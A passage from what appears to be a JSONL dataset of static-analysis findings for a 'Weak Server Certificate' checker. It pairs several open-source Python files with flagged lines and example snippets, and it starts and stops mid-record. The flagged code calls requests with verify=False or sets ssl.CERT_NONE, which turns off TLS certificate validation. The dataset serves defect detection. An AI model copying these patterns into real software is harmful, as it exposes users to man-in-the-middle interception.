keyboard controller (not TDT)!\n It uses threads to ensure that control is passed back, so other commands\n can be called (like wait_for_presses).\n \"\"\"\n def send():\n ec._response_handler._on_pyglet_keypress(button, [], True)\n Timer(delay, send).start() if delay > 0. else send()\n\n\ndef fake_mouse_click(ec, pos, button='left', delay=0.):\n \"\"\"Fake a mouse click after a delay\"\"\"\n button = dict(left=1, middle=2, right=4)[button] # trans to pyglet\n\n def send():\n ec._mouse_handler._on_pyglet_mouse_click(pos[0], pos[1], button, [])\n Timer(delay, send).start() if delay > 0. else send()\n\n\ndef _check_pyglet_version(raise_error=False):\n \"\"\"Check pyglet version, return True if usable.\n \"\"\"\n import pyglet\n is_usable = LooseVersion(pyglet.version) >= LooseVersion('1.2')\n if raise_error is True and is_usable is False:\n raise ImportError('On Linux, you must run at least Pyglet '\n 'version 1.2, and you are running '\n '{0}'.format(pyglet.version))\n return is_usable\n\n\ndef _wait_secs(secs, ec=None):\n \"\"\"Wait a specified number of seconds.\n\n Parameters\n ----------\n secs : float\n Number of seconds to wait.\n ec : None | expyfun.ExperimentController instance\n The ExperimentController.\n\n Notes\n -----\n This function uses a while loop. Although this slams the CPU, it will\n guarantee that events (keypresses, etc.) are processed.\n \"\"\"\n # hog the cpu, checking time\n t0 = clock()\n if ec is not None:\n while (clock() - t0) < secs:\n ec._dispatch_events()\n ec.check_force_quit()\n else:\n wins = _get_display().get_windows()\n for win in wins:\n win.dispatch_events()\n\n\ndef running_rms(signal, win_length):\n \"\"\"RMS of ``signal`` with rectangular window ``win_length`` samples long.\n\n Parameters\n ----------\n signal : array_like\n The (1-dimesional) signal of interest.\n win_length : int\n Length (in samples) of the rectangular window\n \"\"\"\n return sqrt(convolve(signal ** 2, ones(win_length) / win_length, 'valid'))\n\n\ndef _fix_audio_dims(signal, n_channels):\n \"\"\"Make it so a valid audio buffer is in the standard dimensions\n\n Parameters\n ----------\n signal : array_like\n The signal whose dimensions should be checked and fixed.\n n_channels : int\n The number of channels that the output should have.\n If the input is mono and n_channels=2, it will be tiled to be\n shape (2, n_samples). Otherwise, the number of channels in signal\n must match n_channels.\n\n Returns\n -------\n signal_fixed : array\n The signal with standard dimensions (n_channels, N).\n \"\"\"\n # Check requested channel output\n n_channels = int(operator.index(n_channels))\n signal = np.asarray(np.atleast_2d(signal), dtype=np.float32)\n # Check dimensionality\n if signal.ndim != 2:\n raise ValueError('Sound data must have one or two dimensions, got %s.'\n % (signal.ndim,))\n # Return data with correct dimensions\n if n_channels == 2 and signal.shape[0] == 1:\n signal = np.tile(signal, (n_channels, 1))\n if signal.shape[0] != n_channels:\n raise ValueError('signal channel count %d did not match required '\n 'channel count %d' % (signal.shape[0], n_channels))\n return signal\n\n\ndef _sanitize(text_like):\n \"\"\"Cast as string, encode as UTF-8 and sanitize any escape characters.\n \"\"\"\n return text_type(text_like).encode('unicode_escape').decode('utf-8')\n\n\ndef _sort_keys(x):\n \"\"\"Sort and return keys of dict\"\"\"\n keys = list(x.keys()) # note: not thread-safe\n idx = np.argsort([str(k) for k in keys])\n keys = [keys[ii] for ii in idx]\n return keys\n\n\ndef object_diff(a, b, pre=''):\n \"\"\"Compute all differences between two python variables\n\n Parameters\n ----------\n a : object\n Currently supported: dict, list, tuple, ndarray, int, str, bytes,\n float, StringIO, BytesIO.\n b : object\n Must be same type as ``a``.\n pre : str\n String to prepend to each line.\n\n Returns\n -------\n diffs : str\n A string representation of the differences.\n\n Notes\n -----\n Taken from mne-python with permission.\n \"\"\"\n out = ''\n if type(a) != type(b):\n out += pre + ' type mismatch (%s, %s)\\n' % (type(a), type(b))\n elif isinstance(a, dict):\n k1s = _sort_keys(a)\n k2s = _sort_keys(b)\n m1 = set(k2s) - set(k1s)\n if len(m1):\n out += pre + ' x1 missing keys %s\\n' % (m1)\n for key in k1s:\n if key not in k2s:\n out += pre + ' x2 missing key %s\\n' % key\n else:\n out += object_diff(a[key], b[key], pre + 'd1[%s]' % repr(key))\n elif isinstance(a, (list, tuple)):\n if len(a) != len(b):\n out += pre + ' length mismatch (%s, %s)\\n' % (len(a), len(b))\n else:\n for xx1, xx2 in zip(a, b):\n out += object_diff(xx1, xx2, pre='')\n elif isinstance(a, (string_types, int, float, bytes)):\n if a != b:\n out += pre + ' value mismatch (%s, %s)\\n' % (a, b)\n elif a is None:\n if b is not None:\n out += pre + ' a is None, b is not (%s)\\n' % (b)\n elif isinstance(a, np.ndarray):\n if not np.array_equal(a, b):\n out += pre + ' array mismatch\\n'\n else:\n raise RuntimeError(pre + ': unsupported type %s (%s)' % (type(a), a))\n return out\n\n\ndef _check_skip_backend(backend):\n from expyfun._sound_controllers import _import_backend\n import pytest\n if isinstance(backend, dict): # actually an AC\n backend = backend['SOUND_CARD_BACKEND']\n try:\n _import_backend(backend)\n except Exception as exc:\n pytest.skip('Skipping test for backend %s: %s' % (backend, exc))\n\n\ndef _check_params(params, keys, defaults, name):\n if not isinstance(params, dict):\n raise TypeError('{0} must be a dict, got type {1}'\n .format(name, type(params)))\n params = deepcopy(params)\n if not isinstance(params, dict):\n raise TypeError('{0} must be a dict, got {1}'\n .format(name, type(params)))\n # Set sensible defaults for values that are not passed\n for k in keys:\n params[k] = params.get(k, get_config(k, defaults.get(k, None)))\n # Check keys\n for k in params.keys():\n if k not in keys:\n raise KeyError('Unrecognized key in {0}[\"{1}\"], must be '\n 'one of {2}'.format(name, k, ', '.join(keys)))\n return params\n\n\ndef _get_display():\n import pyglet\n try:\n display = pyglet.canvas.get_display()\n except AttributeError: # < 1.4\n display = pyglet.window.get_platform().get_default_display()\n return display", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 527, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "3478095239e3da65c2e11a094357b64565ce47f7922c7d3404c8fd290cadc3a2", "license": {"spdx": ["Apache-2.0"], "repo": "djlafferty7/itlookslikedanlaffertyoutside", "path": "main.py", "repo_head_hexsha": "fc98a4c42911d364c72317abdb9fc96abd70b8b2", "stack_hexsha": "89543e9c996717e15aa0e3c4f48041c92613b895", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 28, "entireCode": "import json\nimport requests\nimport time\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\n\nAPI_KEY=''\n\n@app.route('/')\ndef index():\n background, style, message = setParams()\n return render_template('index.html', background=background, style=style, message=message)\n\n#funstion to set parameters\ndef setParams():\n weather = getWeather()\n background, style = getBackground(weather)\n condition = weather['weather'][0]['description']\n message = \"Looks like it's \" + condition + \" outside\"\n return background, style, message\n\n#get users city from IP address and return weather\ndef getWeather():\n try:\n ip_address = request.headers['x-appengine-user-ip']\n url = f'http://ip-api.com/json/{ip_address}'\n location = requests.get(url, verify=False).json()\n city = location['city']\n except Exception as e:\n print(e)\n city='london'\n url = f'https://api.openweathermap.org/data/2.5/weather?q={city}&appid={API_KEY}'\n weather = requests.get(url, verify=False).json()\n return weather\n\n#get current time in seconds\ndef getCurrentTime():\n now = round(time.time())\n return now\n\n#return background image based on time of day\ndef getBackground(weather):\n sunrise = weather['sys']['sunrise']\n sunset = weather['sys']['sunset']\n startSunset = sunset - 3600\n endSunset = sunset + 3600\n now = getCurrentTime()\n condition = weather['weather'][0]['main']\n if (now < sunrise):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/night_spain.jpeg'\n day = False\n elif (now > sunrise and now < startSunset):\n background = weatherPic(condition)\n day = True\n elif (now > startSunset and now < endSunset):\n background = sunsetPic(condition)\n day = True\n elif (now > endSunset):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/night_spain.jpeg'\n day = False\n style = setStyle(day)\n return background, style\n\n#retrin sunset image based on weather\ndef sunsetPic(condition):\n if (condition == 'Clear'):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/sunset_burma.jpg'\n elif (condition == 'Clouds'):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/sunset_england.jpg'\n else:\n background = 'https://storage.googleapis.com/apportunity.appspot.com/sunset_burma.jpg'\n return background\n\n#return daytime image based on weather\ndef weatherPic(condition):\n if (condition == 'Clear'):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n elif (condition == 'Clouds'):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/clouds_london.jpg'\n elif (condition == 'Rain'):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n elif (condition == 'Drizzle'):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n elif (condition == 'Snow'):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n elif (condition == 'Thunderstorm'):\n background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n else:\n background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n return background\n\n#fucntion to get style\ndef setStyle(day):\n if (day == True):\n style = ['grey lighten-5','grey lighten-3']\n else:\n style = ['grey darken-4','black']\n return style\n\n \n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080, debug=True)", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 28, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "75023b383d764b01b869c861703fa1237f65e4339dfedb5b8255b4ba8511a4f2", "license": {"spdx": ["MIT"], "repo": "VLTSankalpa/python_networking", "path": "python_code_tips/functions_example/functions-before.py", "repo_head_hexsha": "653662da9ae3fdd49b118c3dbd4d3b4fdf062d17", "stack_hexsha": "b6988b45fdc7a4b35d2172399d969e8f908dea42", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 50, "entireCode": "#! /usr/bin/env python\n\nimport requests\nimport json\nimport argparse\n\n# Diable InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(\n requests.packages.urllib3.exceptions.InsecureRequestWarning\n)\n\n# DevNet Always-On Sandbox DNA Center\n# https://devnetsandbox.cisco.com/RM/Diagram/Index/471eb739-323e-4805-b2a6-d0ec813dc8fc?diagramType=Topology\ndnac = {\n \"host\": \"sandboxdnac2.cisco.com\",\n \"username\": \"devnetuser\",\n \"password\": \"!\",\n \"port\": 443,\n}\n\n\n# Setup Arg Parse for Command Line parameters\nparser = argparse.ArgumentParser()\n\n# Command Line Parameters for Source and Destination IP\nparser.add_argument(\"source_ip\", help=\"Source IP Address\")\nparser.add_argument(\"destination_ip\", help=\"Destination IP Address\")\nargs = parser.parse_args()\n\n# Get Source and Destination IPs from Command Line\nsource_ip = args.source_ip\ndestination_ip = args.destination_ip\n\n# Print Starting message\nprint(\"Running Troubleshooting Script for \")\nprint(\" Source IP: {} \".format(source_ip))\nprint(\" Destination IP: {}\".format(destination_ip))\nprint(\"\")\n\n# Headers for DNAC\nheaders = {\"content-type\": \"application/json\", \"x-auth-token\": \"\"}\n\n\n# Login to DNAC\nurl = \"https://{}:{}/dna/system/api/v1/auth/token\".format(\n dnac[\"host\"], dnac[\"port\"]\n)\n\n# Make Login request and return the response body\nresponse = requests.request(\n \"POST\",\n url,\n auth=(dnac[\"username\"], dnac[\"password\"]),\n headers=headers,\n verify=False,\n)\ntoken = response.json()[\"Token\"]\nheaders[\"x-auth-token\"] = token\n\n# URL for Host Calls\nurl = \"https://{}/api/v1/host\".format(dnac[\"host\"])\n\n# Get Host Infomration for Source\nsource_url = url + \"?\" + \"&hostIp={}\".format(source_ip)\n\n# Make API request and return the response body\nresponse = requests.request(\"GET\", source_url, headers=headers, verify=False)\nsource_host = response.json()[\"response\"][0]\n\n# Print out details about source\nprint(\"Source Host Details:\")\nprint(\"-\" * 25)\n# If optional host details missing, add as \"Unavailable\"\nif \"hostName\" not in source_host.keys():\n source_host[\"hostName\"] = \"Unavailable\"\n\n# Print Standard Details\nprint(\"Host Name: {}\".format(source_host[\"hostName\"]))\nprint(\"Network Type: {}\".format(source_host[\"hostType\"]))\nprint(\n \"Connected Network Device: {}\".format(\n source_host[\"connectedNetworkDeviceIpAddress\"]\n )\n) # noqa: E501\n\n# Print Wired/Wireless Details\nif source_host[\"hostType\"] == \"wired\":\n print(\n \"Connected Interface Name: {}\".format(\n source_host[\"connectedInterfaceName\"]\n )\n ) # noqa: E501\nif source_host[\"hostType\"] == \"wireless\":\n print(\"Connected AP Name: {}\".format(source_host[\"connectedAPName\"]))\n\n# Print More Standard Details\nprint(\"VLAN: {}\".format(source_host[\"vlanId\"]))\nprint(\"Host IP: {}\".format(source_host[\"hostIp\"]))\nprint(\"Host MAC: {}\".format(source_host[\"hostMac\"]))\nprint(\"Host Sub Type: {}\".format(source_host[\"subType\"]))\n\n# Blank line at the end\nprint(\"\")\n\n# Get Host Infomration for Destination\ndestination_url = url + \"?\" + \"&hostIp={}\".format(destination_ip)\n\n# Make API request and return the response body\nresponse = requests.request(\n \"GET\", destination_url, headers=headers, verify=False\n)\ndestination_host = response.json()[\"response\"][0]\n\n# Print out details about source\nprint(\"Detination Host Details:\")\nprint(\"-\" * 25)\n# If optional host details missing, add as \"Unavailable\"\nif \"hostName\" not in destination_host.keys():\n destination_host[\"hostName\"] = \"Unavailable\"\n\n# Print Standard Details\nprint(\"Host Name: {}\".format(destination_host[\"hostName\"]))\nprint(\"Network Type: {}\".format(destination_host[\"hostType\"]))\nprint(\n \"Connected Network Device: {}\".format(\n destination_host[\"connectedNetworkDeviceIpAddress\"]\n )\n) # noqa: E501\n\n# Print Wired/Wireless Details\nif destination_host[\"hostType\"] == \"wired\":\n print(\n \"Connected Interface Name: {}\".format(\n destination_host[\"connectedInterfaceName\"]\n )\n ) # noqa: E501\nif destination_host[\"hostType\"] == \"wireless\":\n print(\"Connected AP Name: {}\".format(destination_host[\"connectedAPName\"]))\n\n# Print More Standard Details\nprint(\"VLAN: {}\".format(destination_host[\"vlanId\"]))\nprint(\"Host IP: {}\".format(destination_host[\"hostIp\"]))\nprint(\"Host MAC: {}\".format(destination_host[\"hostMac\"]))\nprint(\"Host Sub Type: {}\".format(destination_host[\"subType\"]))\n\n# Blank line at the end\nprint(\"\")", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 50, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "488b0b37ff38ec2a53e7312373f8af741465f43cd12f51ea2f2b9a9ffcfcc73e", "license": {"spdx": ["MIT"], "repo": "lx0hacker/xinling", "path": "main.py", "repo_head_hexsha": "6411cfacd90a4b1a291545744252b7e05e88d33b", "stack_hexsha": "745591f3c3a8fe1b0c22eb517aa17dbfc93facac", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 41, "entireCode": "#!/usr/bin/env python \n#-*- coding:utf-8 -*-\n'''\n@author: lx0hacker\n@date:2018-02-07\n'''\nimport requests\nfrom urllib.parse import unquote,urlparse\nimport re\nimport os\nimport os.path\nfrom bs4 import BeautifulSoup\nrequests.packages.urllib3.disable_warnings()\nimport time\nimport random\n\n'''\n@url : 漫画的入口\n@return 创建的文件夹的名字\n'''\ndef get_folder(url):\n o = urlparse(url)\n s = re.match(r'\\/comedy\\/(.*?)\\/(.*?)\\/viewer',o.path)\n sub_folder = unquote(s.group(2))\n return sub_folder\n'''\n@folder 要创建的文件夹的名字\n'''\ndef is_exists(folder):\n if not os.path.exists(folder):\n return False\n else:\n return True\n\n'''\n@url 漫画的入口\n@return 每个图片的实际地址\n'''\ndef get_img(url):\n data_url = []\n r = requests.get(url,verify=False)\n soup = BeautifulSoup(r.text,\"html.parser\")\n img_list = soup.find(id='_imageList').find_all('img')\n for img in img_list:\n data_url.append(img.get('data-url'))\n return data_url\n\n'''\n@referer 漫画的入口\n@folder 存储的文件夹\n'''\ndef save_img(referer,folder):\n headers = {\n \"Referer\":referer\n }\n data_url = get_img(referer)\n i=0\n for img_url in data_url:\n time.sleep(random.uniform(0.1,0.8))\n r =requests.get(img_url,headers=headers,verify=False)\n if r.status_code != 200:\n print('估计网络出现问题。status code : {}'.format(r.status_code))\n print('先暂停5秒')\n time.sleep(5)\n r = requests.get(img_url,headers=headers,verify=False)\n if r.status_code !=200:\n print(\"error! status code :{}\".format(r.status_code))\n return \n\n print('正在爬取漫画里面每个图片的地址.........')\n with open(folder+'/'+str(i)+'.jpg','wb')as f:\n f.write(r.content)\n i+=1\n\n'''\n@url 漫画的入口\n'''\ndef start(url,folder): \n flag = is_exists(url)\n if not flag:\n print('往'+folder+'写入图片..........')\n os.mkdir(folder)\n save_img(url,folder)\n else:\n print(folder+'已经存在了!!!!!!!!!!!')\n #\n\n\nif __name__ == \"__main__\":\n print('如果你存放的目录不一致,将重新下载!!!') \n url = input('输入第一话漫画的地址: ')\n parent_folder = input('请输入存放漫画的名字: ')\n\n if not os.path.exists(parent_folder):\n os.mkdir(parent_folder)\n \n os.chdir(parent_folder)\n num = len([x for x in os.listdir('.') if os.path.isdir(x)])\n\n while True:\n #在这里增加参数从而爬取所有的漫画。注意选取的是跳转的url\n num+=1\n url = re.sub('episode_no=.*','episode_no='+str(num),url)\n r= requests.get(url)\n url =r.url\n sub_folder = get_folder(url)\n \n if r.status_code == 200:\n start(url,sub_folder)\n elif r.status_code ==404:\n print('网页404, 没有更多了......')\n break\n else:\n print('网络出错了: %s'%status_code)\n break\n\n \n \n \n\n", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 41, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "70064f794feef5b7203c3d11743a206454939f7a4911ecd2841f47059b204e87", "license": {"spdx": ["ISC"], "repo": "geirskjo/act-bootstrap", "path": "bootstrap/misp-threat-actors.py", "repo_head_hexsha": "99571716cc309c93ed7c703aa46dccd3e06f72b1", "stack_hexsha": "239cce15dc9a5350c7bb3614a0fd0b77ae588509", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 44, "entireCode": "#!/usr/bin/env python3\n\nimport argparse\nimport csv\nfrom logging import error, warning\n\nimport requests\nimport urllib3\n\nimport act\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\ndef parseargs():\n \"\"\" Parse arguments \"\"\"\n parser = argparse.ArgumentParser(\n description='Get Threat Actors (MISP Galaxy)')\n parser.add_argument(\n '--userid',\n dest='user_id',\n required=True,\n help=\"User ID\")\n parser.add_argument(\n '--act-baseurl',\n dest='act_baseurl',\n required=True,\n help='ACT API URI')\n parser.add_argument(\n \"--logfile\",\n dest=\"log_file\",\n help=\"Log to file (default = stdout)\")\n parser.add_argument(\n \"--loglevel\",\n dest=\"log_level\",\n default=\"info\",\n help=\"Loglevel (default = info)\")\n\n return parser.parse_args()\n\n\ndef get_misp_threat_actors():\n url = \"https://raw.githubusercontent.com/MISP/misp-galaxy/master/clusters/threat-actor.json\"\n r = requests.get(url, verify=False)\n return r.json()\n\n\ndef countrylist():\n url = \"http://download.geonames.org/export/dump/countryInfo.txt\"\n r = requests.get(url, verify=False)\n\n countries = {\n \"iso\": {},\n \"iso3\": {},\n \"fips\": {}\n }\n\n for row in csv.reader(\n [line for line in r.text.splitlines() if line[0] != '#'],\n delimiter='\\t'):\n countries[\"iso\"][row[0]] = row[4]\n countries[\"iso3\"][row[1]] = row[4]\n countries[\"fips\"][row[3]] = row[4]\n\n return countries\n\n\ndef add_to_act(client, ta_list):\n countries = countrylist()\n\n for ta in ta_list[\"values\"]:\n name = ta[\"value\"]\n\n if \"meta\" not in ta:\n warning(\"Missing meta information in MISP on Threat Actor {}\".format(name))\n continue\n\n aliases = ta[\"meta\"].get(\"synonyms\", [])\n country = ta[\"meta\"].get(\"country\", None)\n\n location = None\n\n if country and country in countries[\"iso\"]:\n location = countries[\"iso\"][country]\n elif country and country in countries[\"iso3\"]:\n location = countries[\"iso3\"][country]\n error(\n \"country code is not valid ISO code, but found match in iso3: %s\\n\" %\n country)\n elif country and country in countries[\"fips\"]:\n location = countries[\"fips\"][country]\n error(\n \"country code is not valid ISO code, but found match in fips3: %s\\n\" %\n country)\n else:\n location = None\n\n if location:\n client.fact(\"sourceGeography\")\\\n .destination(\"location\", location)\\\n .source(\"threatActor\", name)\\\n .add()\n\n elif country:\n warning(\n \"country code not found in ISO, ISO3 or FIPS: %s\\n\" %\n country)\n\n # Loop over all items under indicators in report\n for alias in aliases:\n if alias == name:\n continue # Do not alias to ourself\n client.fact(\"threatActorAlias\")\\\n .bidirectional(\"threatActor\", alias, \"threatActor\", name)\\\n .add()\n\n\nif __name__ == '__main__':\n args = parseargs()\n\n client = act.Act(\n args.act_baseurl,\n args.user_id,\n args.log_level,\n args.log_file,\n \"misp-threat-actors\")\n\n # Get all reports from SCIO\n ta = get_misp_threat_actors()\n\n # Add IOCs from reports to the ACT platform\n add_to_act(client, ta)", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 44, 